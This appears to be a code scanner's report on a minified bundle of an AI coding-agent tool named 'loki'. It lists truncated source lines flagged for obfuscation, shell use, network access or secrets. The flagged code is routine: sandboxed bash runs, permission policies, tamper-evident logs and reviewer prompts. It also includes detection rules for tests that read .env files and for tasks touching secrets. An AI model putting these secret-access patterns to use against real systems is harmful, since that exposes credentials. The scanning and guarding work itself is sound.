    `)}function A9($){try{return t($,["config","--get","remote.origin.url"]).trim()||null}catch{return null}}function F$($){return $?.match(/^(?:https:\/\/(?:[^@/]+@)?github\.com\/|git@github\.com:|ssh:\/\/git@github\.com\/)([^/]+\/[^/]+?)(?:\.
  • Possible obfuscationline 390
    `)}catch{}}function lf($,Z,J){try{let X=JSON.parse(DY0(qA($,"preflight.json"),"utf8"));if(typeof X.publish!=="string"||X.publish==="pr"||X.publish==="fork_pr")return"";let Y=typeof X.publish_compare==="string"&&/^https:\/\/github\.com\/[^/\
  • Possible obfuscationline 391
    `}function Xg($){let Z=cY8($,".loki"),J=Jg(Z,"mcp-config.json"),X=aY8(iY8(lY8()));eH(Z,/mcp-config\.json\.tmp\.([0-9]+)/);let Y=null;if(mY0(J))try{Y=uY0(J,"utf8")}catch{Y=null}if(Y===X)return J;mY8(Z,{recursive:!0});let Q=`${J}.tmp.${proces
  • Instruction override signalline 392
    `)){let J=$.LOKI_PERMISSION_POLICY??"";if(J==="legacy")return"legacy";if(J==="compiled")return"compiled";if(J==="")try{return Qg().hasOperatorPolicy($)?"compiled":"legacy"}catch{return"legacy"}if(!aY0)aY0=!0,Z(`LOKI_PERMISSION_POLICY=${J}: 
  • Dangerous shell operationline 393
    `)){if(Bg(Z,J)==="legacy")try{let X=Qg().legacyArgs(Z);return X.warnings.forEach(J),X.args}catch(X){return J(`legacy web policy: compiler unavailable (${X.message}); using most restrictive mode (plan)`),["--permission-mode","plan"]}try{let 
  • Possible obfuscationline 393
    `)){if(Bg(Z,J)==="legacy")try{let X=Qg().legacyArgs(Z);return X.warnings.forEach(J),X.args}catch(X){return J(`legacy web policy: compiler unavailable (${X.message}); using most restrictive mode (plan)`),["--permission-mode","plan"]}try{let 
  • Instruction override signalline 393
    `)){if(Bg(Z,J)==="legacy")try{let X=Qg().legacyArgs(Z);return X.warnings.forEach(J),X.args}catch(X){return J(`legacy web policy: compiler unavailable (${X.message}); using most restrictive mode (plan)`),["--permission-mode","plan"]}try{let 
  • Access to secretsline 400
    [Credential-related source omitted]
  • Possible obfuscationline 417
    ${$}`:$;import{execFileSync as HQ8}from"child_process";import{createHash as qQ8}from"crypto";import{existsSync as UQ8,mkdtempSync as BQ8,readFileSync as MQ8,rmSync as NQ8}from"fs";import{tmpdir as FQ8}from"os";import{join as Mg}from"path";f
  • Possible obfuscationline 418
    `,{flag:"wx"})}catch{}}var GQ0="2.1.293",qQ0="advisor-error.txt",Lg=3,IA="opus",IQ8;var kz=_(()=>{H$();lb();eZ();IQ8=["CLAUDE_CODE_USE_BEDROCK","CLAUDE_CODE_USE_VERTEX","CLAUDE_CODE_USE_FOUNDRY"]});import{appendFileSync as MQ0,existsSync as
  • Possible obfuscationline 420
    `:"")+c,X0)M.set(X0,[...M.get(X0)??[],c])},N=(Y0)=>{for(let X0 of Y0??[]){for(let c of M.get(X0)??[]){let H0=B.lastIndexOf(c);if(H0>=0)B=B.slice(0,H0)+B.slice(H0+c.length)}M.delete(X0)}},O=!1,L=!1,C,P=!1,T=!1,A=new Map,I=0,w,E,D=new Map,x=n
  • Possible obfuscationline 424
    `}let H0=Y0.message?.usage;if(H0){let n=Y0.message?.id??`#${I++}`,o=A.get(n)??{};if(A.set(n,{input_tokens:Math.max(o.input_tokens??0,Y5(H0.input_tokens)),output_tokens:Math.max(o.output_tokens??0,Y5(H0.output_tokens)),cache_read_input_token
  • Possible obfuscationline 427
    `;continue}if(X0==="result"){if(P=!0,fQ8(W,Y0,J),Y0.result)F(Y0.result);let c=bz(J);for(let _0 of Object.keys(z))if(z[_0].status==="active")z[_0].status="completed",z[_0].completed_at=c,z[_0].current_task="Session complete";let H0=z[Sz];if(
  • Possible obfuscationline 429
    `)}catch{}}function BQ0($,Z,J,X){let Y=Y5(X.input_tokens)+Y5(X.cache_read_input_tokens)+Y5(X.cache_creation_input_tokens),Q=$.get(J);$.set(J,{size:Math.max(Q?.size??0,Y),output:Math.max(Q?.output??0,Y5(X.output_tokens))});let W=X.iterations
  • Possible obfuscationline 430
    `)?$.slice(0,-1):$).split( `)}function aQ8($,Z){let J=$.stdout;if(typeof J!=="string")return;let X=LQ0(J);if(X.length<=Z.bashThreshold)return;let{bashHead:Y,bashTail:Q}=Z,W=X.length-Y-Q;if(W<=0)return;return{...$,stdout:[...X.slice(0,Y),`[l
  • Possible obfuscationline 435
    `)}}return}function sQ8($,Z){let J=$.tool_response;if(J===null||typeof J!=="object")return{};let X=J,Y=iQ8(Z),Q;switch($.tool_name){case"Bash":Q=aQ8(X,Y);break;case"Read":Q=nQ8(X,Y);break;case"Grep":Q=oQ8(X,Y);break;default:return{}}if(!Q)r
  • Dangerous shell operationline 437
    `)}catch{}}async function TW8($,Z,J){try{let X=Bun.spawn({cmd:["bash",Ag],cwd:Z,env:A1({...process.env,LOKI_HOST_GUARD:"1",LOKI_TARGET_DIR:Z},Z),stdin:"pipe",stdout:"pipe",stderr:"ignore"}),Y=!1,Q=setTimeout(()=>{Y=!0,X.kill(9)},Pg()*1000);
  • Possible obfuscationline 437
    `)}catch{}}async function TW8($,Z,J){try{let X=Bun.spawn({cmd:["bash",Ag],cwd:Z,env:A1({...process.env,LOKI_HOST_GUARD:"1",LOKI_TARGET_DIR:Z},Z),stdin:"pipe",stdout:"pipe",stderr:"ignore"}),Y=!1,Q=setTimeout(()=>{Y=!0,X.kill(9)},Pg()*1000);
  • Possible obfuscationline 441
    `).map((z)=>IW8.exec(z.trim())).flatMap((z)=>z?[(z.slice(1).find(Boolean)??"").trim()]:[]).filter(Boolean))],W=RW8(Z);return W&&Q.length>=W?Q:[]}var IW8;var $U=_(()=>{i8();Yf();i8();IW8=/^(?:(?:FAILED|ERROR)\s+(\S+::\S*)(?:\s.*)?|\u25cf\s+(
  • Possible obfuscationline 442
    `),Y}function rW8($){try{let Z=t($,["rev-parse","HEAD"]).trim();if(!Z)return null;let J=t($,["status","--porcelain","--untracked-files=no"]).trim()!=="";return`${Z}:${J?"dirty":"clean"}`}catch{return null}}function tW8($){let Z=rW8(h1($.rep
  • Possible obfuscationline 443
    `+K}if(V)z+=wQ0;return z}function uQ0($){try{return SQ0(r8($,".github","workflows")).filter((Z)=>/\.ya?ml$/.test(Z)).sort().map((Z)=>r8(".github","workflows",Z))}catch{return[]}}function DA($){let Z=uW8("sha256");for(let J of[...wA,...uQ0($
  • Possible obfuscationline 444
    `),dW8(X,J)}function yg($,Z={}){try{let J=DA($),X=aQ0($),Y=kY($);if(Y&&Y.manifest_hash===J&&Y.revision===X)return{profile:Y,reused:!0};let Q=Y&&Y.manifest_hash===J?Y.commands.map((z)=>({...z,...z.kind==="test"?{validated:null,exit_code:null
  • Possible obfuscationline 445
    `)){let Q=Y.trim();if(!Q||Yz8.test(Q))continue;let W=J.exec(Q);if(!W)return null;let[z,V,K]=$==="ruff"?[W[1],W[2],W[3]]:[W[1],W[3],W[2]],G=`${z}\x00${V}\x00${K}`;X.set(G,(X.get(G)??0)+1)}return X}function oQ0($,Z,J,X=null){let Y=(V)=>({preE
  • Possible obfuscationline 447
    `)}function kA($,Z){let J=[],X=100,Y=(z,V)=>{X-=z,J.push(V)},Q=(z)=>$.commands.some((V)=>V.kind===z),W=$.baseline;if(!Q("test"))Y(30,{id:"no-test-command",severity:"high",message:"No test command found in the repo manifests.",fix:"Add a tes
  • Possible obfuscationline 448
    `)}catch{}return`Readiness: ${Z.score}/100 (${Z.grade})${Z.findings.length?` - run \`loki doctor --repo\` for ${Z.findings.length} fix(es)`:""}`}function Wz8($,Z){if(!$)return"repo profile: none yet (run `loki doctor --repo` to build it; LO
  • Possible obfuscationline 452
    ${X.stderr??""}`),missing:X.status===127}},xg=($)=>{try{return t($,["ls-files","--others","--exclude-standard"]).split( `).map((Z)=>Z.trim()).filter(Boolean)}catch{return[]}},pQ0=($,Z)=>{for(let J of xg($))if(!Z.has(J))pW8(r8($,J),{force:!0
  • Possible obfuscationline 453
    `).map((Z)=>Z.trim()).filter(Boolean)}catch{return[]}},pQ0=($,Z)=>{for(let J of xg($))if(!Z.has(J))pW8(r8($,J),{force:!0,recursive:!0})},mz=($)=>$.replace(/\s+--silent\b/,"").trim(),xA=120,aQ0=($)=>{try{return t($,["rev-parse","HEAD"]).trim
  • Possible obfuscationline 454
    `).map((X)=>X.trim()).filter(Boolean);return(Z.find((X)=>/^(?:E\s+)?(?:Error|\w*Error|ERROR|Failed|FAIL)\b|Cannot find|Interrupted:|No test files found|\d+: [\w.-]+: not found$|: command not found$|canceled due to missing packages/.test(X))
  • Possible obfuscationline 455
    `).map((Q)=>Q.trim()).filter(Boolean);return[...new Set([...X(["diff","--name-only",Z]),...X(["ls-files","--others","--exclude-standard"])])].filter((Y)=>!Y.startsWith(".loki/")&&!J?.(Y))}async function Pz8($){if($.protect||!$.baseSha||$.si
  • Possible obfuscationline 456
    ${C.stderr}`),A=C.exitCode===0||!J.baseSha?void 0:await KJ({repoDir:$,baseSha:J.baseSha,...J.skip?{skip:J.skip}:{},out:T,cmd:"bash",args:["-c",O],signal:Z,cwd:ug($,N),env:dz(J.path)});if(A){X.push({name:M,cmd:F,result:"not_run",duration_s:P
  • Possible obfuscationline 457
    `).some((G)=>G.startsWith(z)&&G.endsWith("/")&&!G.slice(z.length,-1).includes("/")&&G!==".loki/"))Y.push(Q.root)}return Y}async function BW0($,Z,J,X){let Y=B5($.repoDir),Q=mz8($.repoDir,Y),W=NW0($.repoDir),z=Date.now(),V=await gz8({repoDir:
  • Possible obfuscationline 458
    `).map((J)=>J.trim()).filter(Boolean).pop()??"").replace(/\s+/g," ").slice(0,160)},MW0=($,Z,J=process.env)=>t($,["hash-object","--no-filters","--",Z],{env:J}).trim(),NW0=($)=>{try{return new Set(t($,["ls-files","-o","--directory","--exclude
  • Possible obfuscationline 460
    ${X}`.split( `).filter(Boolean)}catch{return null}}var hA,rg=($,Z,J,X)=>new Promise((Y)=>{try{lz8($,Z,{maxBuffer:16777216,timeout:X,signal:J,env:S8(process.env)},(Q,W)=>Y({ok:!Q,out:String(W??"")}))}catch{Y({ok:!1,out:""})}});var tg=_(()=>{
  • Possible obfuscationline 461
    `).filter(Boolean)}catch{return null}}var hA,rg=($,Z,J,X)=>new Promise((Y)=>{try{lz8($,Z,{maxBuffer:16777216,timeout:X,signal:J,env:S8(process.env)},(Q,W)=>Y({ok:!Q,out:String(W??"")}))}catch{Y({ok:!1,out:""})}});var tg=_(()=>{b0();hA=/(^|\
  • Possible obfuscationline 467
    `)}function mA($,Z,J){return J.filter((X)=>{let Y=gA.find((V)=>V.re.test(X));if(!Y)return!1;if(!Y.shared)return!0;let Q=GV8($,Z,X),W=HV8($,X);if(Q===W)return!1;let z=typeof Y.shared==="string"&&Y.shared!=="tsconfig"?"":"{}";try{return WU(Y.
  • Possible obfuscationline 468
    `).filter(Boolean).map((G)=>{let H=G.indexOf("\t");return[G.slice(H+1),G.slice(0,H).split(" ")[2]??""]})))}catch{if(W.size)Q.add("runner config not inspected: tree listing failed");return[...Q]}let V=new Set;for(let K of z.values())for(let 
  • Possible obfuscationline 469
    `).map((Z)=>Z.trim()).filter((Z)=>Z&&!Z.startsWith("#")),QV8,WV8=($)=>$.replace(/\\(?:u([0-9a-fA-F]{4})|U([0-9a-fA-F]{8})|([\s\S]))/g,(Z,J,X,Y)=>{if(Y!==void 0){let W=QV8[Y];if(W===void 0)throw Error("toml escape");return W}let Q=parseInt(J
  • Possible obfuscationline 470
    `,f:"\f",r:"\r",'"':'"',"\\":"\\"};wW0=/^\d{4}-\d\d-\d\d[ T]\d\d:\d\d:\d\d(\.\d+)?(Z|[+-]\d\d:\d\d)?/;qV8=/["']?\b(?:preload|setupFiles|setupFilesAfterEnv|setupFilesAfterFramework|globalSetup|globalTeardown)\b["']?\s*[:=]\s*(\[[^\]]*\]|"[^"
  • Possible obfuscationline 621
    `),fV8(K,W)}}catch{}return Q}function Wm($){try{if(t($,["status","--porcelain","--untracked-files=all"]).split( `).some((J)=>J.trim()!==""&&!/^.. "?\.loki\//.test(J)))return"";return t($,["rev-parse","HEAD^{tree}"]).trim()}catch{return""}}f
  • Possible obfuscationline 623
    `)){if(!(J>0||X>0)){let z=/^@@ -\d+(?:,(\d+))? \+\d+(?:,(\d+))? @@/.exec(Y);if(z){J=z[1]===void 0?1:Number(z[1]),X=z[2]===void 0?1:Number(z[2]);continue}if(Y.startsWith("+++")||Y.startsWith("---"))continue}let W=Y[0];if(W==="+")X--;else if(
  • Possible obfuscationline 624
    `)J++;else if(X==="/"&&Y==="*"){let Q=$.indexOf("*/",J+2);J=Q<0?$.length:Q+2}else Z+=X,J++}return Z.replace(/,(\s*[}\]])/g,"$1")}function eV8($,Z){let J=pW0($),X=pW0(nz($,Z));return X===J||X.startsWith(J+tV8)}function lW0($,Z,J){try{if(!KU(
  • Possible obfuscationline 637
    `).filter((Z)=>/\b(?:expect|assert\w*|should|fail)\s*[(.]|\bself\.assert\w*\(|^\s*assert\b|\bt\.(?:is|true|ok|equal|deepEqual|throws)\b|\bpytest\.(?:raises|fail)\b|\bt\.(?:Error|Fatal)f?\(/.test(Z)).length;var Mm=_(()=>{qK8=/\u001b\[[0-9;?]
  • Possible obfuscationline 638
    `,{mode:384})}catch{}}var HU=($)=>MK8("sha256").update($).digest("hex"),Nm=0.2,qU=($)=>$.startsWith("holdout:"),Vz0=($,Z)=>j$(zz0(),`loki-e10-holdout-${HU(`${$}:${Z}`).slice(0,16)}`),lA=($,Z)=>j$(zz0(),`loki-e10-wallseal-${HU(`${$}:${Z}`).s
  • Possible obfuscationline 640
    `),this.nextSeq++,X}writeRaw($){let Z=Mz0(this.path,"a");try{EK8(Z,$)}finally{Bz0(Z)}}}function h6($){let Z={stages:{},completed:[],run:{started:null,completed:null,escalated:null,tampered:!1,verdict:null},cost:{usd:null,inputTokens:0,outpu
  • Possible obfuscationline 643
    [Credential-related source omitted]
  • Possible obfuscationline 644
    `).map((Q)=>Q.replace(/[\x00-\x1f\x7f]+/g," ").trim()).filter(Boolean),J=Z.find((Q)=>Q.startsWith("fork-only: "));if(J)return J;let X=Z.findLast((Q)=>/^engine10-push(?:-gitlab)?: /.test(Q))??Z.at(-1)??"",Y=Z.find((Q)=>/Permission to \S+ den
  • Possible obfuscationline 647
    `),!1}}var XT=_(()=>{b0()});import{existsSync as GG8,lstatSync as HG8,mkdirSync as qG8,readFileSync as UG8,writeFileSync as BG8}from"fs";import{join as Dm}from"path";function CG8($,Z,J){let X=new Set;if(Z?.known())for(let W of $){let z=Z.pa
  • Possible obfuscationline 648
    `;var R3=_(()=>{c5();BY()});import{spawnSync as AG8}from"child_process";import{mkdirSync as TG8,writeFileSync as nz0}from"fs";import{join as oz0}from"path";function sz0($){let Z=$.tampered?"TAMPERED":$.verdict,J=$.usd==null?"cost not measur
  • Possible obfuscationline 653
    `}async function ez0($){let Z=[];if(!$.pinnedOrigin)return Z.push("push refused: no pinned origin (Rule of Two)"),Z;let J={...process.env,...$.extraEnv,_LOKI_ORIGIN_PINNED:"1",_LOKI_PINNED_ORIGIN:$.pinnedOrigin},X=$.prUrl?RG8.exec($.prUrl)?
  • Possible obfuscationline 660
    `:"")).digest("hex"),K=J.kid===void 0||z.kid===J.kid?y1(z.kid,J.given):void 0;if(!K||z.events_sha256!==V||z.tampered!==!1||typeof z.sig!=="string"||!ZV0(null,Buffer.from(`${V}:false`),K,Buffer.from(z.sig,"base64url")))return`a log.sealed li
  • Possible obfuscationline 663
    `).includes(`Loki-Wall-Publish: ${Z.run_id}`)}catch{return!1}}function QV0($,Z,J=process.env){let X=$;try{X=p1(JV0(C$($)),QT($))}catch{}let Y=yG8(X,Z);if(Y)return{verdict:"TAMPERED",reason:Y};try{let V=p1(C$(X),"events.jsonl");if(WT(V)&&AU(
  • Possible obfuscationline 667
    `,H=ZV(G,Z.slice(0,z+1),{kid:V,expectSeal:!0});return{signed:W,problem:H?`the signed checkpoint after receipt.sealed is invalid (${H})`:null}}function hm($,Z,J,X=!1){let Y=p1($,"run.state.json"),Q;try{if(_G8(Y).isSymbolicLink())return"run.s
  • Possible obfuscationline 668
    `)J++;else if(X==="/"&&Y==="*"){let Q=$.indexOf("*/",J+2);J=Q<0?$.length:Q+2}else Z+=X,J++}return JSON.parse(Z.replace(/,(\s*[}\]])/g,"$1"))}function BV0($,Z=0){let J=mm($);if(!J||Z>4)return null;let X=J.compilerOptions?.module;if(typeof X=
  • Possible obfuscationline 670
    `)){if(/^\s*(?:await\s+)?(?:expect|assert\w*)\b|\b(?:write\w*|mkdtemp\w*|tmpdir|rm\w*|unlink\w*|touch)\b/.test(J))continue;let X=/["'`](?:[^"'`\n]*\/)?(\.env(?:\.[\w.-]+)?)["'`]/.exec(J);if(X)return`reads ${X[1]}, which the implementer's sa
  • Possible obfuscationline 673
    `)){let L=/^[ \t]*(?:([\w.]+)[ \t]+)?"\u0001(\d+)"[ \t;]*$/.exec(O);if(L)z.push({alias:L[1]??"",path:Y[Number(L[2])-1]})}let V=(N)=>{let O=N.split("/"),L=O.pop();if(/^v\d+$/.test(L)&&O.length)L=O.pop();return L.replace(/\.v\d+$/i,"")},K=(N)
  • Possible obfuscationline 674
    `)){let L=/^\s*([A-Za-z_]\w*(?:\s*,\s*[A-Za-z_]\w*)*)/.exec(O);if(L)B(L[1]).forEach((C)=>U.add(C))}for(let N of H.matchAll(/([A-Za-z_]\w*(?:\s*,\s*[A-Za-z_]\w*)*)\s*:=/g))B(N[1]).forEach((O)=>U.add(O));for(let N of H.matchAll(/^\s*([A-Za-z_
  • Possible obfuscationline 679
    `).map((K)=>K.trim()).filter((K)=>K&&!/^set\s+-/.test(K)),z=String.raw`(?:"[^"$\x60\\\n]*"|'[^'\n]*'|[^\s"'$\x60\\|&;<>(){}*?~-][^\s"'$\x60\\|&;<>(){}*?]*)`,V=new RegExp(String.raw`^(?:true|:|exit\s+0|return\s+0|(?:/usr)?/bin/true|(?:echo|p
  • Possible obfuscationline 680
    `)K.push(G+1);for(let G of Qq(W,V)){let H=G.name.split(".");if(H.length!==2||G.container)continue;let q=K[G.start-1]??0,U=new RegExp(`\\bfn\\s+${H[1]}\\b[^(]*\\(`).exec(V.slice(q,q+2000));if(!U)continue;let B=jV0(V,q+U.index+U[0].length);if
  • Possible obfuscationline 681
    `):W,V=iG8(J,X,Z),K=(L)=>{let C=[],P=0,T="",A="";for(let I=0;I<L.length;I++){let w=L[I];if(T){if(A+=w,w==="\\")A+=L[++I]??"";else if(w===T)T=""}else if(w==='"'||w==="'"||w==="`")T=w,A+=w;else if("([{".includes(w))P++,A+=w;else if(")]}".incl
  • Possible obfuscationline 682
    `)){w++;for(let f of D.matchAll(/\bfor\s*\(\s*(?:const|let|var)\s+([A-Za-z_$][\w$]*)\s+of\s*\[([^\]]*)\]/g)){let s=K(f[2]).map((z0)=>E(z0,!1));if(s.length&&s.every((z0)=>z0===L||z0===J))C.set(f[1],L),P.add(f[1])}let x=/^\s*(?:const|let|var)
  • Possible obfuscationline 686
    `),PV0=($,Z)=>Z.filter((J)=>/(^|[\/._-])(test|spec)s?[\/._-]|_test\./i.test(J)&&FJ(P4($,J))).flatMap((J)=>{let X=um(gm(P4($,J),"utf8"));return X?[{name:J,why:X}]:[]}),aG8,nG8,oG8,sG8,tG8,eG8,$H8=($)=>$.split( `).every((Z)=>{let J=Z.trim();r
  • Possible obfuscationline 687
    `).every((Z)=>{let J=Z.trim();return!J||/^(?:#|\/\/|\/\*|\*)/.test(J)}),ZH8=($,Z)=>{let J=Z.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");return[...$.matchAll(new RegExp(`(?<![\\w.-])${J}/|\\b(?:in|into|under|inside|within)\\s+(?:the\\s+)?[\`"']?${
  • Possible obfuscationline 688
    ${J.join( `)}`:""}function tm($,Z=process.env,J={}){let X=DU(Z);return X?$.filter(({f:Y})=>!wV0(X,Y)&&!Object.hasOwn(J,Y)).map(({f:Y})=>Y):null}function DV0($,Z,J){let X=typeof J==="number"&&Number.isFinite(J)&&J>0?J:null,Y=(V)=>(Math.ceil(
  • Possible obfuscationline 689
    `)}`:""}function tm($,Z=process.env,J={}){let X=DU(Z);return X?$.filter(({f:Y})=>!wV0(X,Y)&&!Object.hasOwn(J,Y)).map(({f:Y})=>Y):null}function DV0($,Z,J){let X=typeof J==="number"&&Number.isFinite(J)&&J>0?J:null,Y=(V)=>(Math.ceil(Math.min(V
  • Possible obfuscationline 696
    `&&Y===0&&X.trim()&&/^\s*(export|import)\b/.test($.slice(Q+1,Q+40))){W("",null,Q),Q++,J=Q;continue}X+=V,Q++}return W("",null,$.length),Z}function $u($){let Z=$.length,J=0,X=()=>{while(J<Z&&/\s/.test($[J]))J++};if(/^async\s/.test($))J=5,X();
  • Possible obfuscationline 700
    `)return!0;if(U==="\\")G++;else if(U==="[")H=!0;else if(U==="]")H=!1;else if(U==="/"&&!H){q=!0;break}}if(!q)return!0;V=G+1;while(V<J&&/[a-z]/i.test($[V]))V++;z("a");continue}if(K==="("||K==="["||K==="{")X.push(K);else if(K===")"||K==="]"||K
  • Possible obfuscationline 712
    `)],q=(M)=>M.split(",").map((F)=>F.replace(/#.*$/gm,"").trim().split(/\s+as\s+/)[0].trim()).filter(Boolean);for(let M of H){for(let F of M.matchAll(/(?:^|:)[ \t\f]*from[ \t\f]+([\w.]+?)(?:[ \t\f]+|(?<=\.)[ \t\f]*)import\b[ \t\f]*(?:\(([^)]*
  • Possible obfuscationline 718
    `),HT=($)=>($.split("/").pop()??$).replace(/\.[^.]*$/,""),yH8=($,Z)=>$.path<Z.path?-1:$.path>Z.path?1:$.content<Z.content?-1:$.content>Z.content?1:0;var nV0=_(()=>{e6();Xu();nZ();_H8=/(^|\/)(tests?|__tests__|spec)\/|\.(test|spec)\.[jt]sx?$|
  • Possible obfuscationline 720
    `);if(!L)return null;let C=[],P=0;for(let A of O){let I=L.indexOf(10,P);if(I<0)return null;let w=L.subarray(P,I).toString("latin1").split(" "),E=Number(w[2]),D=I+1;if(w.length!==3||w[0]!==A.sha||w[1]!=="blob"||!Number.isInteger(E)||E<0||D+E
  • Possible obfuscationline 724
    Run: python3 -m unittest <file>.`,go:`${D7.go.cmd.replace(" ./<pkg dirs>","")}. Write a _test.go file in the package under test. Example: func TestName(t *testing.T) { if got := Fn(1); got != 2 { t.Fatalf("got %v", got) } }  Run: ${D7.go.cm
  • Possible obfuscationline 732
    ${X}`,Q=qu.find((q)=>J.includes(`loki:${q}`));if(Q)return{class:Q,reason:`label loki:${Q}`,rule:"label"};let W=Yq8.test(Y)?BT(Xq8,Y)??BT(Jq8,Y):null;if(W)return{class:"human",reason:`touches secrets ("${Hu(W,40)}"); rotate or change them by
  • Possible obfuscationline 738
    [Credential-related source omitted]
  • Access to secretsline 738
    [Credential-related source omitted]
  • Possible obfuscationline 739
    `)}catch{W("steer applied but its revision record failed")}}),V="",F===""?null:F}catch{if(V)try{MT(T4($,".loki","logs"),`human-input-${J().toISOString().replace(/[-:]/g,"").replace(/\..*/,"")}`,V,Y?.link),W("logs dir unwritable or file unre
  • Possible obfuscationline 744
    `)}catch{}return z}function qK0($,Z=0){let J=[];try{for(let X of zK0(T4($,".loki","intent-revisions.jsonl"),"utf8").split( `)){if(!X)continue;try{let Y=JSON.parse(X),Q=Date.parse(String(Y.consumed_at));if(Number.isFinite(Q)&&Q>=Z)J.push({re
  • Possible obfuscationline 745
    `)){if(!X)continue;try{let Y=JSON.parse(X),Q=Date.parse(String(Y.consumed_at));if(Number.isFinite(Q)&&Q>=Z)J.push({rev:Number(Y.rev)||0,source:typeof Y.source==="string"?Y.source:null,actor:typeof Y.actor==="string"?Y.actor:null,sha:typeof 
  • Possible obfuscationline 752
    ${Q}`}}var XK0=1048576,Lq8,jq8="--- BEGIN OPERATOR GUIDANCE (from loki steer) ---",Cq8="--- END OPERATOR GUIDANCE ---",Pq8=600000,GK0=($,Z)=>T4($,`.applied-${Z}`),Iq8,YK0;var FT=_(()=>{c5();Lq8=new Set(["plan","implement"]);Iq8=/^## Operato
  • Network accessline 753
    `):""}function GU8($,Z,J=[]){let X=Array.isArray($.plan?.relevant_files)?$.plan.relevant_files.filter((G)=>typeof G==="string"):[],Y=typeof $.plan?.plan==="string"?$.plan.plan:"";if(X.length===0&&Y.trim()===""&&J.length===0)return null;let 
  • Network accessline 754
    ${typeof $.intake?.task==="string"?$.intake.task:""} ${KU8($)}`,W=$.intake?.preexisting_dirty??{},z=(G)=>_5(G)||Object.hasOwn(W,G)||mK0(Q,G)||mK0(Q,XU8(G));if(J.length>0)return Z.filter(({st:G,f:H})=>G!=="A"&&!z(H)&&!J.includes(H)).map(({f:
  • Network accessline 755
    ${KU8($)}`,W=$.intake?.preexisting_dirty??{},z=(G)=>_5(G)||Object.hasOwn(W,G)||mK0(Q,G)||mK0(Q,XU8(G));if(J.length>0)return Z.filter(({st:G,f:H})=>G!=="A"&&!z(H)&&!J.includes(H)).map(({f:G})=>G);let V=zU8(Q),K=new Set(X.map((G)=>gK0(G)).fil
  • Possible obfuscationline 755
    ${KU8($)}`,W=$.intake?.preexisting_dirty??{},z=(G)=>_5(G)||Object.hasOwn(W,G)||mK0(Q,G)||mK0(Q,XU8(G));if(J.length>0)return Z.filter(({st:G,f:H})=>G!=="A"&&!z(H)&&!J.includes(H)).map(({f:G})=>G);let V=zU8(Q),K=new Set(X.map((G)=>gK0(G)).fil
  • Network accessline 756
    `),!await eK0(z,["test","--config",j5(K,"playwright.config.cjs")],$,Q,W))return{rels:[],skipped:"playwright e2e video and trace skipped: the run failed or timed out"};let G=[],H=(q)=>{for(let U of qU8(q,{withFileTypes:!0})){let B=j5(q,U.nam
  • Possible obfuscationline 756
    `),!await eK0(z,["test","--config",j5(K,"playwright.config.cjs")],$,Q,W))return{rels:[],skipped:"playwright e2e video and trace skipped: the run failed or timed out"};let G=[],H=(q)=>{for(let U of qU8(q,{withFileTypes:!0})){let B=j5(q,U.nam
  • Possible obfuscationline 757
    `),{screens:[],http:!0,skipped:null}}catch(K){return Y(`capture failed: ${String(K?.message??K).slice(0,200)}`)}finally{await _U8(W,Math.min(DU8,Math.max(250,z+V-Date.now())),Q)}}async function $G0($,Z,J,X,Y,Q){if(!wT())return{};let W=Array
  • Possible obfuscationline 765
    `,iK0=25000,aK0=5,gu=($)=>{try{return oK0($).isSymbolicLink()}catch{return!1}},wU8=($)=>{try{return oK0($).isFile()}catch{return!1}},bu=($)=>{try{return process.kill(-$,0),!0}catch{return!1}},DU8=2000;var gU=_(()=>{j4();OU8=/^(?:.*\/)?(?:ap
  • Possible obfuscationline 766
    Review ONLY the diff below. Do not modify files.`:"You are an independent code reviewer. Review ONLY the diff below for correctness bugs, spec violations and missing tests. Do not modify files.",cU8,"Reply with a first line exactly `VERDICT
  • Possible obfuscationline 767
    `);try{if(Q==="claude")await AA();let F=await VZ0(B8,VG0($.repoDir,".loki"),"xreview")(uU8(Q,M,process.env,Q==="claude"?Y?.model||q:void 0),{cwd:$.repoDir,timeoutMs:MG0($)*1000,group:!0,signal:X}),N=`${$.runId}-xreview-${Q}`;if(g10(VG0($.re
  • Possible obfuscationline 768
    `)}catch{}}function TG0($){try{let Z=jG0($,CG0);if(!aU8(Z)||!nU8(Z).isFile())return;let J=JSON.parse(sU8(Z,"utf8"));return typeof J==="object"&&J!==null&&!Array.isArray(J)?J:void 0}catch{return}}var CG0="route.json",tU8=!1;var iu=()=>{};var
  • Possible obfuscationline 801
    `,XB8=/^(claude-[A-Za-z0-9._-]+|opus|sonnet|haiku|small|medium|high)$/i});var dT={};D0(dT,{writeRequirementsMap:()=>$c,writeFromEngine10:()=>PB8,writeFromChecklist:()=>CB8,validateConstraints:()=>UB8,untracedLines:()=>cG0,traceContract:()=>
  • Possible obfuscationline 807
    `),2;let J=n1(aU(Z,"utf8"),Z),X=uT(lG0(process.cwd()));return vG0(hG0(X),{recursive:!0}),QB8(X,JSON.stringify(J,null,2)+ `),process.stdout.write(pG0(J)),0}function eu($,Z,J,X,Y=process.env,Q){if(!gT(Y))return[];try{let W=cT($),z=!0;try{bG0(
  • Possible obfuscationline 808
    `),process.stdout.write(pG0(J)),0}function eu($,Z,J,X,Y=process.env,Q){if(!gT(Y))return[];try{let W=cT($),z=!0;try{bG0(uT($))}catch{z=!1}if(!Q)return z?["contract not snapshotted at intake; ignored"]:[];let V=[];if(Q.sha256!==null){let H=(q
  • Possible obfuscationline 810
    print(json.dumps(m.extract_bound_requirement_units(sys.stdin.read())))`,J],{input:$,encoding:"utf8",timeout:15000,env:{PATH:process.env.PATH??"",LC_ALL:"C.UTF-8"}});if(Y.status!==0)return null;let Q;try{Q=JSON.parse(Y.stdout)}catch{return n
  • Possible obfuscationline 812
    `}var fG0,ru=50,hT=500,VB8,KB8,GB8,HB8,kG0=($)=>gG0($).toLowerCase(),BB8,dG0=1048576,FB8,OB8=40,LB8=12,jB8,aG0=($)=>$.map((Z,J)=>({id:`R${J+1}`,...iG0(Z)}));var CJ=_(()=>{L9();j3();G8();b0();fG0=["perf","api","security"],VB8=/^#{1,6}\s+(.*?
  • Possible obfuscationline 813
    `),wB8(H,G),{path:G,receipt:K}}function nT($){let Z=$.includes("SPEC_CONFLICT")?"SPEC_CONFLICT":$.length>0&&$.every((X)=>X==="ALREADY_SATISFIED")?"ALREADY_SATISFIED":"VERIFIED",J=$.filter((X)=>X==="FAILED"||!["VERIFIED","ALREADY_SATISFIED",
  • Possible obfuscationline 815
    ${X}`;if($==="npm"){if(J===0){let W=/"?(\d{4}-\d\d-\d\dT[\d:.]+Z)"?/.exec(X);return W?{status:"exists",firstPublish:Date.parse(W[1])}:{status:"exists"}}return/E404|404 Not Found|is not in this registry/i.test(Q)?{status:"missing"}:{status:"
